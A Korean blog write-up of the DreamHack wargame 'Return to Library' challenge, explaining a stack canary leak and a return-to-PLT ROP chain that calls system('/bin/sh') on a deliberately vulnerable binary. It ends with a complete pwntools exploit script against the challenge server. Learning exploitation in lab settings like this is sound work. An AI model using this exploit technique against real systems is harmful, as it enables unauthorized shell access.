보안/시스템 해킹

[ 시스템 해킹 ] DreamHack WarGame : Return to Library

haena02 2022. 7. 28. 03:22
반응형

1. 문제

 

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

신경 쓸만한 코드는 64비트, Partial RELRO 라는것, 카나리와 NX 가 존재하며 PIE 가 없다는것!!!

 

NX 보호 기법을 우회하는 공격 기법인 RTL(Return To Library)을 이용하여 푸는 문제이다. RTL을 간단하게 설명을 하자면 NX로 인해서 직접 주입한 쉘코드를 실행하는 것이 불가능해졌지만 return address를 수정하는 것은 여전히 가능하기 때문에 여전히 실행 가능한 부분을 이용하여 공격하는 기법이다.
이전 문제에서처럼 get_shell() 같은 함수가 있으면 그냥 return address를 get_shell() 주소로 변경하면 끝이지만 이렇지가 않을 경우 사용하는 공격법이다

 

2. 코드

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

위 코드를 보면 0x30 사이즈를 갖는 buf 배열을 가지고 있는데, 이는 카나리 값을 읽을 때 활용할 수 있을 것 같다.

system("echo 'system@plt");  

가 있어 system()함수가 PLT가 추가될 것이다. 

 

PLT에는 함수의 주소가 resolve되지 않았을 때, 함수의 주소를 구하고 실행하는 코드가 적혀있다.

따라서 PLT에 어떤 라이브러리 함수가 등록되어 있다면, 그 함수의 PLT 엔트리를 실행함으로써 함수를 실행할 수 있다.

ASLR이 걸려있어도 PIE가 적용되지 않있다면 PLT의 주소는 고정되므로, 무작위의 주소에 매핑되는 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다. 이 공격 기법을 Return To PLT라고 부른다.

 

이번에는 PLT를 이용하여 NX를 우회하도록 해보자. 

ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 다음 코드를 작성하면 PLT에 system 함수를 추가할 수 있다.

3. 해결

 

disasseamble main을 하여 분석해 보았다.

 

 

위 사진을 보면 read가 실행될 때인데 <+204> 를 보면 buf는 rbp-0x40 에 있다는 것을 알 수 있다.

위 사진은 카나리 검증하는 부분이다. 보면 카나리는 rbp-0x8에 존재하는 것을 알 수 있다.

 

따라서 buf와 카나리의 거리는 0x38 만큼인 것을 알 수 있다.

 

따라서 buf에 0x39만큼 값을 넣어주면 카나리를 알 수 있다.

 

다음으로는 return gadget을 이용해야한다,

 return gadget은 ret으로 끝나는 어셈블리 코드 조각을 의미한다.

전에는 buf에 셸코드를 넣어 리턴주소를 buf 주소로 변경해주거나 get_shell() 함수를 이용했는데, 

이번에는 rdi에 "/bin/sh/"을 넣어주고 system 함수를 호출 해줘야한다.

return address만 덮어씌워서 해결될 문제가 아닐 때에 return gadget이다.

0x400853 : pop rdi ; ret

 

 

system("/bin/sh")을 호출하면 셸을 획득할 수 있으므로 우리가 해야할 것은 “/bin/sh”의 주소를 구해서 그 주소를 rdi에 넣어주고 system() 함수를 호출해주면 된다.

위에 있는 return gadget을 자세히 살펴보면 pop rdi를 해주고 그 다음에 ret을 해주고 있다.

즉, return address를 0x400853으로 변경해주고 그 다음 값으로 “/bin/sh” 문자열의 주소를 넣어주고 system() 함수의 plt 주소를 넣어주면 된다.

 

buf

canary

sfp

return address (0x400853)    //리턴가젯 주소

”/bin/sh”         // 인자

system@plt       //함수

 

위와같이 구성하면 system("/bin/sh")를 호출할 수 있다.

 

주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다.

이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면Segmentation Fault를 발생 시킨다.

 

완성된 코드는 아래와같다.

#!/usr/bin/python3
from pwn import *

p = remote('host3.dreamhack.games','10201')
e = ELF("./rtl")

def log(name, addr): return success(": ".join([name, hex(addr)]))


canary_payload = b'A'*0x39
p.sendafter("Buf: ", canary_payload)
p.recvuntil(canary_payload)
canary = p.recvn(7)
canary = u64(b'\x00' + canary)

log("Canary", canary)

no_op = 0x400285
return_gadget = 0x400853  #pop rdi의 주소
binsh = 0x400874  #/bin/sh 의 주소
systemplt = 0x4005d0  #system() 함수의 plt table안 주소

log("no_op gadget", no_op)
log("pop rdi; ret", return_gadget)
log("\"/bin/sh\"", binsh)
log("ststem plt address", systemplt)

payload = b'A'*0x38            # dummy values to reach canary address
payload += p64(canary)         # canary value
payload += b'B'*0x8            # dummy value for sfp
payload += p64(no_op)          # a gadget has no meaning
payload += p64(return_gadget)  # pop rdi; ret address
payload += p64(binsh)          # "/bin/sh" address
payload += p64(systemplt)      # system@plt address

p.sendafter("Buf: ", payload)

p.interactive()
반응형